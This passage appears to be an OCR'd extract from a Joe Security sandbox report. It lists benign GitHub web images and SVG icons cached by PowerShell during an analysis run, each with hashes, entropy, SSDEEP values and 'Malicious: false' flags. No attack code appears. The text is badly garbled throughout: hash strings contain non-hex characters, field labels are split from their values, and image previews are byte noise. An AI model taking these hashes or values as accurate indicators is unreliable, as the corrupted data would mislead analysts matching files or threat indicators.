SHA-512: 0689A35C94E684016BOC2E1DC72286CEE850037E35BE3E1A36D485434C05589C52961CFA151E626D321897A30B4A80620C3F33B8D38046FA64EAIESES5BA3DC!
Malicious: false

Reputation: unknown

Preview:  .PNG......IHDR......V....H;b....0OPLTE.......cccceouninnmnnnnnnineeceee IS fe kS KLLOOERNS 0P z..|..MIDATx....a.0..0....7

3.Z%...
.[...88..+).*#.S{./I18#.B..
z..s...p.. €..0.G..49.9R6*.."..z.*).7. k.......0.u..." ..

n..wJ. .Pc.x
Y,....q.m<.X.,..eb.ItS.HO_

#..c.[... L
.y.k?v18=3.0..}..z.7=...

K.Y ] K....%|ppHX...H8"|/ k.R... . b B..2.. >F..FW..=V....
.89 n.A.G.tf....mX.x=...VKN.N#x...{... Zv..f >8%$.8;.4..Bd....W?....... [DOEAN]'S S—-— D..3

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\actions-check[1].svg

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 427

Entropy (8bit):  4.807232294407941

Encrypted: false

SSDEEP: 12:t6Abc/uTY9ILMgvoSIFkv3hboPEINc8XrSTVBME:tDb6u09ILnvZv390PEncgrgv8ME

MD5: 386D669ABE1345A26A2ACCD455DF38DA

SHAL: 95E9003880A794E8AA979A3786953D2B63E1B934

SHA-256: CC7A4183C253F78BB7FFE11198C4138EE8911AA7A1ASCF62662327743A2937F5

SHA-512: A5497C243CD7EBCA62D9A7035C8F4B400EF1F2E10282A2A10A78C7E47A52A4CAFA91A18514C1A3198E7CAABC572C880F824C60C51D422897F643CF2C16B8CE
FA

Malicious: false

Reputation: unknown

Preview: <svg fill="none" height="60" viewBox="0 0 82 60" width="82" xmlns="http://www.w3.0rg/2000/svg"><path clip-rule="evenodd" d="m79.7224 10.0556¢2.1479-2.14789 2.14

79-5.6303 0-7.77818-2.1479-2.147886-5.6303-2.147886-7.7782 01-43.7776 43.77758-18.1109-18.1109¢-2.14787-2.1479-5.63028-2.1479-7.77816 0-2.147884 2.1479-
2.147884 5.6303 0 7.7782121.99996 22c2.1479 2.1478 5.6303 2.1478 7.7782 0z" fill="#fff" fill-rule="evenodd"/></svg>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\actions-editor-actions[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 550 x 1466, 8-bit colormap, non-interlaced
Category: dropped

Size (bytes): 46840

Entropy (8bit):  7.964172047909121

Encrypted: false

SSDEEP: 768:G+W9BVEIXYNQgJNn6jJeTtVITZyHs9f9bKY5zIYApYbLM6a9Y OVNEYiglbJWt38:G7pIHN6ELVIFPOUYtv56a9Y GNEEIK38

MD5: 87AB7667E7587FB73136DFA2E7B5F9E2

SHAL: 7471B793520A1EC769FB388B8422D4AA6907B865

SHA-256: F1D01977F869D443C7CFA87E80F313B822D16C27D8F2074F25B6F71E56AEE782

SHA-512: 4D4365B24C877C56FAD55D61532E194775BBFE3776EBA3324003827E11E431A645E0646746D222D2B1A947CDE38848FCCDAEA11FC754EFFD4ABB58D59D9F7C5:
9

Malicious: false

Reputation: unknown

Copyright Joe Security LLC 2022 Page 32 of 342



Preview: PNG........ IHDR...&...c.ce... Y...PLTE.....jshES).. S|
£ Z b IDATXN L 8. XK. 1...A.t.9.jz..S.Y..3]. !
[ X 2P B 2%..2..%..E....3P..(.B..8L<.9...a.l.H..8...["...o.x.x.D..rI.
.h.8..8.d.y.B...DF.W.7S....~....5.2.X..63j|.H1..n..4.2...4... . M*NR.. ..)("crrv.... e V.O*. &N YFEAB.@...5..... =.n..EC.K.,..|..4..Y..Go..m.P[p~C
‘B..L".wF.?...Rb..j.Q....5.4...$.9./..<$..(.8Z..;...Z.W..V....... Nr..M..q..d3...+.R..Qv..t..a.".2v...Ip$...5.#.w..h.Gy ...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\actions-editor-sidebar[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 550 x 904, 4-bit colormap, non-interlaced
Category: dropped

Size (bytes): 1789

Entropy (8bit):  7.2815548715123075

Encrypted: false

SSDEEP: 24:+Zh1AgNxdQpWOO0Ka3GgHK8iBDjko2GcevtnbdLAT6NnCIRPVHHIKRpFhRbSN+3A+Sa:+V6dnHWqYIko2znbZkjVHHmMt4+3nb5

MDS5: 9CC55AC3910D3EF95F9EE4527FABBBCE

SHAL: 3D975DF539AF9E64A7956F4261CCA938BBECABAL

SHA-256: 33CAE93DA4FC7316AFFF039F9AA1496DF45965F6F452D8D2C4850434E7E83A93

SHA-512: E0446281A0788AC4B559E682DE3BD9019D315BES5A85816F1BF398F1D0B257E70959E721F2EB1B96DBFOA38C8560B120D66933AB363403DB62DD7121B4DC43B0

Malicious: false

Reputation: unknown

Preview: .PNG - U|.{P
a.ME.X{Ti.$>.h......B..1.MPr2g7#]. 9...M~..7...L.M2".1Y . M..c.z&N.\6.....C&..~...(..].O~S...M.m..J.
.S .(.00.._K.....I?h.B....&.g%L... |.M.+A*R...~d..-\m..L.Y]#. ..78....JV.....b"e...c. &A..A7..Y...G .\S..dj..-.Ls..%....$.Ybo..)....,-..n 5.b.WP...,2....s.

LAHL& S M AL~ ULKK LM< . kb8:..d...OH....=M2. 5.Dca..1q9.p]..2.9....(D..0!...3..D..B.N.I....8..e....c..G.d4.....'"M.zPb..F...N&.M...".A.H.a..q....n..I......s..0k.2..2
8.F2.....=%....\\A...0a/0.&.di.E.&ec.Vj.Z../.1." f...p.... TL.1.......... Y "y.IS..L.p.s....&ks....<5..nM$...F6.K..:./L.dO.....1..L.M....c;d...&s.[.....d..2:xOW...
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\actions-editor[1].png
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 1412 x 904, 8-bit colormap, non-interlaced
Category: dropped
Size (bytes): 34504
Entropy (8bit):  7.893389066855414
Encrypted: false
SSDEEP: 768:avyllIKMSa2H4hBB2iz+sP1081RYbGXKTw/gOWjK3EXR/Uk2:J7H4t2iKsPuiR2G6WAjK3gxt2
MD5: CAD297223E94DD2224475E006B772BB9
SHA1L: BAA57FDEEA9BC8870ABFC14300B536869BASEACO
SHA-256: 3B938666A8F4B268752969626D64B8E07D6E29C338ECDB002B02DDFB98D7D3C9
SHA-512: 864878099066E895922A2768F734D392325F85E19ADADCCC99441C7231F0265ED4C48EC4A771D13633FCF115E4311833236DA677CB221B0210D0F97FA28B3441
Malicious: false
Reputation: unknown
Preview: PNG........ IHDR............. Q.1 PLTEGPL ..ottt
(U b."y.2....Be RePr b G

IDATX"..KN.@....D:$..DWZ....Q...vp. ]
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.8.c.0Y8 . Ix:fl$.n....<i..X.K.<).d.G-..9.(-AF.NX\.b...*cz.XI9.Z.1V..K|.s(...l.laa%...Fn&.V...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\actions-spinner[1].svg

Process: C:\Windows\System32\WindowsPowerShell\vl.0\powershell.exe
File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 299

Entropy (8bit):  4.9833481947765375

Encrypted: false

SSDEEP: 6:t6AbAqUNKVI9McasldMXgHK2IXYHI9fAaL pHK2IDRGPMofV2X91u9fD3L7:t6AbAGEKQICGVNGIgal pVZRzofV2XRtf

MD5: 5B70EA929AD10FBF9E505DD22FAAE4FS5

SHAL: 682498B67CD7EB83038AAE4A9675B4FF92BB9081

SHA-256: 63A71DAE3DE16C28BA7971533AC86E4430BC49D2B920A11F84DD9009021A4118

SHA-512: 968AC5849C2503FA51A38124E2759801759C7981EDF36E39F0A8005727F0709BA90AC6EED17D83573760578A4256417C05A6304C05ABAB8FA106CDC4696497F7
Malicious: false

Reputation: unknown

Preview: <svg fill="none" height="162" viewBox="0 0 162 162" width="162" xmIns="http://www.w3.0rg/2000/svg"><circle cx="81" cy="81" r="71" stroke="#ffeda6" stroke-width=

"20"/><circle cx="81" cy="81" fill="#ffdd5a" r="41"/><path d="m152 81c0-39.2122-31.788-71-71-71" stroke="#ffdd5a" stroke-width="20"/></svg>

Copyright Joe Security LLC 2022 Page 33 of 342



C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\astro-mona[1].svg

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHAL:
SHA-256:

SHA-512:

Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

SVG Scalable Vector Graphics image

dropped

93822

5.910777358126515

false
1536:R1dHIcDoFsbwMOGHOVXNS8LLzXouFhK8rAnCom1Ls9NJI2jgE3H5f5YK:R1dloFsbLdIN/HXouLNrs95fJ2jxXt
ABA9E9B576C51690EA2DIAIE222ECI2A

832E1FB36F3016A421CA68C332CCAF55D7B69509
F3B444CFCB73A2F1AA14987850ED6539295EBI1FABAG67AD644DE77B38F7080E7

C0858589C1DB110655FBFB8601359FEBACB49E4CA39367B049D9B43F4ESECESC72ED75666AAE315DD60CB131686F4C1DB5C741C85E4C803F4D97A35DDBA27
F2

false
unknown

<svg xmIns="http://www.w3.0rg/2000/svg" viewBox="0 0 960 967"><defs><mask id="mask"><image width="960" height="967" href="data:image/jpeg;base64,/9j/4
AAQSKZIRgABAQAAAQABAAD/2WCEAAYGBgYHBgcICAcKCwoLCg8ODAWODXYQERAREBYiFRKVFRKVIh4kHhweJB42KiY mKjY+NDIOPKXERExXfWI98fKcBBgYGB
gcGBwglBwolL.CgsKDw4MDA4PFhAREBEQFilVGRUVGRUiHIQeHB4kH]YqJiY qNj40MjQ+TERETF9aX3x8p//CABEIA8c DWAMBIGACEQEDEQH/XAAJAAEAAQQDA
QAAAAAAAAAAAAAABYEFBWYCAWQJI/90ACAEBAAAAANVAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACYNETIV/
unb1+S2WOPRKCx+gAAAAAAAAAAAAAAAAVI2bewZI9KIKcaUpQ5WDGUKCcOXugAAAAAAAAAAAAAAAIMDBN}8N8NHjw6+HV1dfDgcuzt7OyuNsA4080AAAAAAAAA
AAAAAFC2bXTY4dfV09HN83m8/n60rhTn3enlez09/dZdctd/EA

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\|IE\OROWKIO1\codeql-description[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 982 x 166, 8-bit colormap, non-interlaced

dropped

4945

7.873292728275767

false

96:J4hjCFSVIvxTsaxNkulEyxDgSAwPBII8irLzMtq:aCFSaxTVNz1IAwPBIIXmq
574A7C39ECB71A83B613B9A4568E2EEF
F619A277032206D3F3A5DEEC05E0143B041E4DC5
8BC830D88156660B2654AE275C7EE613355EA81051DCA9B65401786BDIBF55EE
5CAG18E635A400E6AD2E599AD41D628165FAAOBFE014657575C755E6DEQ01FEG4AF04677D64A0EAFBA47287CE3D5EA9A9717FF44105CF50C1296E90905A599624DI
false

unknown
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\codeql-step-1[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Reputation:

C:\Windows\System32\WindowsPowerShell\v1l.0\powershell.exe

PNG image data, 982 x 463, 8-bit colormap, non-interlaced

dropped

17496

7.957370900881342

false
384:xgT01MguRzgovQ9Wi+JIMYRGhwWQAITyrlIAg9BP9:KgscoYIWiTIWWQA9qINr1
191E136A5AECFD3DD11FA1389F6DF931
9BB86D2B222F18773BEC4D749554EAB12A2E0D26
0BC676B804FOECAE5S22039C75BCC31F27AA66B5E9B931901E49E0A7981EC8A21
C42891A7B6610264362A112FD52D19ABA6EE6BICE1850B14D1D73A17101CA61C927087A482DD15108CFE30F703F4291AB21343F92F5C63739FBF02411F5908D0
false

unknown
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Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\codeql-step-2[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 918 x 433, 8-bit colormap, non-interlaced

dropped

15006

7.94723674515337

false
384:lepb/SO01EmYua7cyZQtHI2TRpgWXB4IPr8aB9ksx6fzM9gHxB:lepbS9wa7cyZQuTicB4IPrHB93oqgHj
2A153E74B72C7575E3CE2909C0F4D6D3

E44F9DDCBF90202B317A3152F13F3D2546A1A154
CD028DA3E9E197198A58B49F0ACI90AC7BCC30B4A9IEIS9A22A172E1779C94D8D
34122D0D782B46685F8D875DA15005493101845DB233A26EA2E41F59F681E634C14F20EC5958A4468EBC03051A86F03362B2850C41311F866A6DB6D15C1EB425
false

unknown
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\codeql-step-3[1].png

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:
Reputation:

Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 858 x 404, 8-bit colormap, non-interlaced

dropped

12645

7.94012401233457

false
384:Echd1c/Ib680/xsamW+gJXnincFW7ZnloGMOc/:Echd1cyGxMgJXinMgGM//
B1C75F4994AA4CF83ABAF38E3EDDB871
36A3749403AA9227B83BF26043651B0484504666
35889956EC586CD626447940D383E88AFF893F2843E4D8DBFAAA06F98819D046
C600063EE481C303520A26940F1E3059D97B98607F9C7A34A41F1B27B1FD271E48AB3392D1CC06070AB056F50A34BC285F419E5D2331FFC87A359FF4456247AA
false

unknown
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\codespaces-glow[1].svg

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

Reputation:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

SVG Scalable Vector Graphics image

dropped

2334

5.295482801686865

false
48:GzmHO0iZLDOvMHDyLDO0ZmHaLDOMFMZ3HrKH6URS5UtR5UNsL4e:GS7dSbLKaNyal4e
4725B3FEEFC6F19910703CDE5S274FD06
81603411391E1E58EBASCBAD14ACB81F325748A8
2385061D2EC4B5D872FB9043F61613BF85DC9930690D3B071499C368F87B48B4

3F786E24BD8159ED247EO0D3E66B4DC58A321382FDAE146A7773D932CF6247E9A4A7C692B2467EF8BC77EAAC7EB7DD50D2D1F85B6F8280B2088631B6FA2CDC
6D

false

unknown
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Preview: <svg fill="none" height="940" width="987" xmIns="http://www.w3.0rg/2000/svg" xmins:xlink="http://www.w3.0rg/1999/xlink"><filter id="b" color-interpolation-filters="sRGB"
filterUnits="userSpaceOnUse" height="959.777" width="848.293" x="122.042" y="-27.377"><feFlood flood-opacity="0" result="BackgroundimageFix"/><feBlend in="Sourc
eGraphic" in2="BackgroundimageFix" result="shape"/><feGaussianBlur result="effectl_foregroundBlur" stdDeviation="65"/></filter><filter id="d" color-interpolation-filters=
"sSRGB" filterUnits="userSpaceOnUse" height="889.515" width="887.607" x="783.399" y="2.921"><feFlood flood-opacity="0" result="BackgroundimageFix"/><feBlend in="
SourceGraphic" in2="BackgroundimageFix" result="shape"/><feGaussianBlur result="effect1_foregroundBlur" stdDeviation="65"/></filter><filter id="f" color-interpolation-
filters="sRGB" filterUnits="userSpaceOnUse" height="896.689" width="972.644" x="409.274" y="21.794"><feFlood flood-opacity="0" result="BackgroundimageFix"/>
<feBlend in="Sour

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\codespaces-vscode-1[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 2496 x 1480, 8-bit colormap, non-interlaced
Category: dropped

Size (bytes): 53597

Entropy (8bit):  7.832575719735798

Encrypted: false
SSDEEP: 1536:QNhGtgn6//wQUe+XnaOz4dPt1Ho0eiW3JFZmMZSH8nXZ/:AhSgn6gHbaOkHa0eiW5FZJI+XN
MDS5: FD56EA73DD0OE9F16545622875C9F0E51
SHAL: BFDFFOC20D7A6923AE2C5C3FECI0AA9E87938CE7
SHA-256: C35855B0B96B359F2EB261857370B58D8020F7E16A1BAADD9A777E7C920746D7
SHA-512: 05B9413913AA5EEB3789A60E94A898489BC8FBACBIES14F8C74D6F6249879BF70B0B2BOEE928BC242A1E759693CFFF33075D8D497076007C29C95966B8725E2¢
Malicious: false
Reputation: unknown
Preview:
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\codespaces-vscode-2[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 2496 x 1480, 8-bit colormap, non-interlaced
Category: dropped

Size (bytes): 59872

Entropy (8bit): 7.861580907012454

Encrypted: false

SSDEEP: 1536:gVzIY8H1+XhXTZFSpldet0jX7htLIgulUFwgHOo5Y:gVzxH1+RXTZ4fdGOrlgXgMX

MD5: 512D4D2BA6F8C8ES564DFOSBEC17F0411

SHA1L: 778331870EAFC1EB553C6DF2406A0959F82ECO8E

SHA-256: C5959A6D555F9CB8FD5FE2BDDA94C537365B636827A4982512DC7DBEF7E1E956

SHA-512: 03FCD4EB0242320A6AC4260A70502722215EED68BBBF55926 C5DFF1B43B70FAB2D56D2744BEFF68DA00AF3500FEAFF71EFC58A4EE377A8B317FFAC5BC28159
2B

Malicious: false

Reputation: unknown

Preview:

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\codespaces-vscode-3[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 2496 x 1480, 8-bit colormap, non-interlaced
Category: dropped

Size (bytes): 68183

Entropy (8bit):  7.8842441092468105

Encrypted: false

SSDEEP: 1536:512k08I9+aTHAcheHkShPYEXAfZ8Sh/CHXqoxJJQ24L6b:s1xPnheESdAMwC1rIQ2F

MD5: FF4C43FAC4C95E3C9860D5D70BACBSBAF

SHAL: 5B359017C71F3D5818EC9A24A4C4A298FAF21377

SHA-256: 7BFD5FEEAC7F192B3339536B3061F2CBCE4BFFAC78A6372E627FE24C34094501

SHA-512: 30374871AF0A15E9CC873615EAD04A57AA558DA614C8B860554B664BF0898862CDB6BA0AS9533E0DB3D079C1224278B0F47C7177B59AB063032299979D79FF7F
Malicious: false

Reputation: unknown
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\lIE\OROWKIOT\community-discussions-1[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 808 x 480, 8-bit colormap, non-interlaced
Category: dropped

Size (bytes): 17020

Entropy (8bit):  7.95022908511932

Encrypted: false

SSDEEP: 384:UD/Xzk00woGfc+YU/qWHrSkpDPcJIXrXIGk0e8YFOsRixuzpl:Ubzk07fkmBrSaDkIJXTuWPIG3

MDS5: D062CE014D7C1016098A4FOAFD60AOE3

SHAL: D3D22ED31B86CE611D53C100229832F0B476DAEQ

SHA-256: 6A65414FDB269362148D0C50B552C89D10C29EE4789AF3DD7A423480FC912DF9

SHA-512: 31840781F391C7B967A88CAB31D7E5C5B9977F619E6EBF97A387648ABB2EOSA98C4A4901EEBADEBBFAEGB77A553241C5D029C462EDD6DD7486FD699BC4844B
4

Malicious: false

Reputation: unknown
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\community-discussions-2[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 768 x 792, 8-bit colormap, non-interlaced
Category: dropped

Size (bytes): 30556

Entropy (8bit):  7.894823550301393

Encrypted: false
SSDEEP: 768:lcxGTAWBEWSKDyrUqtjdpR3XaFoLnMA3LOXJjMQYPL:leWJK+RdpVXaFoT4XA
MD5: 7DDE9069B879145CB78A98FD2A0D10F4
SHA1L: 40FB5D79C85E62D836FF2F6050E671D21A46A426
SHA-256: 0B443EC4D39BFI9AESA4E71C03AD2EB2ASB7F2AA725940A974EBBE88896569BFF
SHA-512: B257DFF98429AF64B5B6102184FD3EE3EF74656DD966C026F96089203C12C7D0A67E106DE36F4AB3F827E52C780428225D2034BC12CE5461D88B87B136926108
Malicious: false
Reputation: unknown
Preview: PNG.......IHDR............. K.pJ...PLTE.... AbJZ_i__...cafZX[VUX
...LKOFFJA>A=;>57D+,801<?DHJIL.... .CBE ..Ux\DFU@A16;>CG
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\community-readme-1[1].png
Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 766 x 748, 8-bit colormap, non-interlaced
Category: dropped
Size (bytes): 34069
Entropy (8bit):  7.9398953897321585
Encrypted: false
SSDEEP: 768:PoM+wl4uK/I4eD3RIQOTTmMjQRk2qpZ3929eP9958IHNGGGGGAGGS:PolOcLvQOm8haE9el89U
MD5: 1F70A1A13B1C8AFE737E00COA9D87F3D
SHAL: 0CB72CDDEFD1C270AFBEOECCDOD65D30EBSFFEAG
SHA-256: 0D967E6EFIF36FF78816B80D812090590049FA256D4F1DF76935313DD60AA261
SHA-512: 4165D1420E3979B6C6C77972589D5D34436598B77AA226B858F83C8068BECDIC79B2DCB0714E1BBCIF6454D9D24DB176D2BEE727732DC521EC204E7BF17925:
Malicious: false
Reputation: unknown
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\community-readme-2[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 766 x 730, 8-bit colormap, non-interlaced
Category: dropped

Size (bytes): 26322

Entropy (8bit):  7.927852233887477

Encrypted: false

SSDEEP: 768:QPXdSGaKjGfGGGGVw8y6+E2BgGbb5pmj/VyDIVK:gEGLjGhwFh57H5p+VUR

MDS5: 5F343BC5814B61036489338C59DA01FB

SHAL: 7B58658108B49DFE4441F123DFEDD223C982C96E

SHA-256: E3A83267BBC6606C2A29631CE2165E44454F58D77F0720FA57A9B2F8ACT725A4B

SHA-512: 8B09F8DCO068F79391AB83C6A0903289540732CDB0C658DCCEBB30ED4AB240E06857DB11FA9399F55C5C405FCDCF649052B08D7C1725B318CA1ABS4E1D634D2
E
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Reputation: unknown
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\community-sponsor-1[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 768 x 484, 8-bit colormap, non-interlaced
Category: dropped

Size (bytes): 13784

Entropy (8bit):  7.837067512881325

Encrypted: false

SSDEEP: 384:KPSpNOLMBch/S87uNgx5aMG4WK|julF/2ria:ESpNOHv7uNgLRtWKjult2ria

MD5: D9EO5D4CFD5900226BB262D6D9ABDEO3

SHA1L: A40330DC1B78D683F25942A230DEC96C86AD5720

SHA-256: 32569FDDAAC578F40E6238174F1CF9B78BADFD32FE9C555474A4DF16B99FCB13

SHA-512: 15B93F05B33BD932B3E288A1EFE2609B2CDC5F8D8BD1C17E660DA795F23AF45D5BAAG1A08B6CEO3D0B9276960306D2DCFEADFF79FFF7E1F612D864BC60E06(
55
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Reputation: unknown
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\community-sponsor-2[1].png

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: PNG image data, 768 x 524, 8-bit colormap, non-interlaced
Category: dropped

Size (bytes): 15660

Entropy (8bit):  7.855080394443117

Encrypted: false

SSDEEP: 384:Pvr2bEmTzZRNWAJVXxwmbKOEWsSmMoEfGJzLF:PvrPa3TDwmyvsd1SzR

MD5: 11605A34E30EF8671461BB349148733F

SHAL: BA6B2F1630E1AF2594066676E576B79DD3BA8CFB

SHA-256: EF8381F3B353BAD24C12367A071F367201F4ACA8DC929A3C0727533A1EB2E9081

SHA-512: 1811DA76E434510CFF4265B5FC526E8E77A7BFB33F9626496FF17DE44602C32C5C9467271D229EA904E59468777200BDF37612E8E241CCB1C9A5F40392553E80
Malicious: false

Reputation: unknown
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\dependabot-merge[1].png
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
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dropped
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Preview:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

PNG image data, 1412 x 952, 8-bit colormap, non-interlaced
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIOT\discussions-answered-check[1].svg
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

SVG Scalable Vector Graphics image
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4.615938808565796

false
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Preview:

<svg fill="none" height="22" viewBox="0 0 22 22" width="22" xmIns="http://www.w3.0rg/2000/svg"><path d="m0 11c0-6.07513 4.92487-11 11-11 6.0751 0 11 4.92487 11
11 0 6.0751-4.9249 11-11 11-6.07513 0-11-4.9249-11-112z" fill="#fff"/><path clip-rule="evenodd" d="m11 22c6.0752 0 11-4.9248 11-11 0-6.07514-4.9248-11-11-11-6.07
514 0-11 4.92486-11 11 0 6.0752 4.92486 11 11 11zm5.1979-13.36455¢.4028-.40272.4028-1.05568 0-1.4584-.4027-.40273-1.0556-.40273-1.4583 0I-5.45835 5.45825-
2.0208-2.0208c-.40272-.4027-1.05568-.4027-1.4584 0-.40273.4028-.40273 1.0557 0 1.458512.75 2.7499¢.40272.4028 1.05568.4028 1.45845 0z" fill="#22863a" fill-r
ule="evenodd"/></svg>
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

SVG Scalable Vector Graphics image
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dropped

32047

7.92919950146622

false

768:5ZEUWAGUWMN5GALV6nhyyhk29Mcxmil.so462qi5DMNFbqUirQIlj5k1+:5zhGATLV6nhywBLI/5D8nirg5k1+
OEOOFEE7AFA02E5335B1149594AA4136

553CABDBB24405AEC7A045C0BAGO3899A177AB32
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C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\file[1].svg

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 481

Entropy (8bit):  4.702946824330557

Encrypted: false

SSDEEP: 12:trZqutM653LzAEXKHzIDgIVhS/dttqRul3+8fla7:tVqutMM3LIODJ+dttx1+8ta7

MD5: BE1A95DBE2C06705F7066DB0OA027E232

SHAL: C257A354BDDB711126FF138180A8C136COFC6C12

SHA-256: 6C6D54450487B4F8F5298993C91D1B874063CA43CF553ED2629C9D0AFFEFCI8F

SHA-512: BAOE72CCFOAFDCB4CFAODI0E054820AF0695B73C44EE6F1E411B66857F3E86FA311F36AD0185896F6C0A0763AF2755A47938CF245B04D244363757B415BC017°
Malicious: false

Reputation: unknown

Preview: <svg width="16" height="16" fill="none" xmlIns="http://www.w3.0rg/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M3.75 1.5a.25.25 0 0 0-.25.25v11.5c0

.138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25V6H9.75A1.75 1.75 0 0 1 8 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.191.9.5 2.06zM2 1.75C2 .784 2.784 0 3.75
0h5.086¢.464 0.909.184 1.237.51313.414 3.414¢.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0 1 12.25 15h-8.5A1.75 1.75 0 0 1 2 13.25V1.752" fill="#627597"/></svg
>

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\OROWKIO1\folder[1].svg

Process: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type: SVG Scalable Vector Graphics image

Category: dropped

Size (bytes): 327

Entropy (8bit):  4.8331042173105985

Encrypted: false

SSDEEP: 6:tnrZqumc4sITM65tqqJ9jJKuSxuGRsv/cDa7/:trZqutM657pgxY8Da7

MD5: 65B3C2584800E5B2BD5F8FCCF3E718BD

SHA1L: 21BD20BAAAF97EA31CAABD769114104BF6A8CD53

SHA-256: F16FBBF374E7BC7C66AD09120A428320DE5DOEOAEC7D65FADB508D981BSELEAE

SHA-512: 002362BE7A20CFFD5EAFA9A9DB2D86D764B7ED654B566F234F9A8B176A616E8233DBEC8A04D00735D0F5F1F47182616AF69D223BC1D11B1267E4383A96F02E7
1

Malicious: false

Reputation: unknown

Preview: <svg width="16" height="16" fill="none" xmlIns="http://www.w3.0rg/2000/svg"><path fill-rule="evenodd" clip-rule="evenodd" d="M1.75 1A1.75 1.75 0 0 0 0 2.75v10.5CO

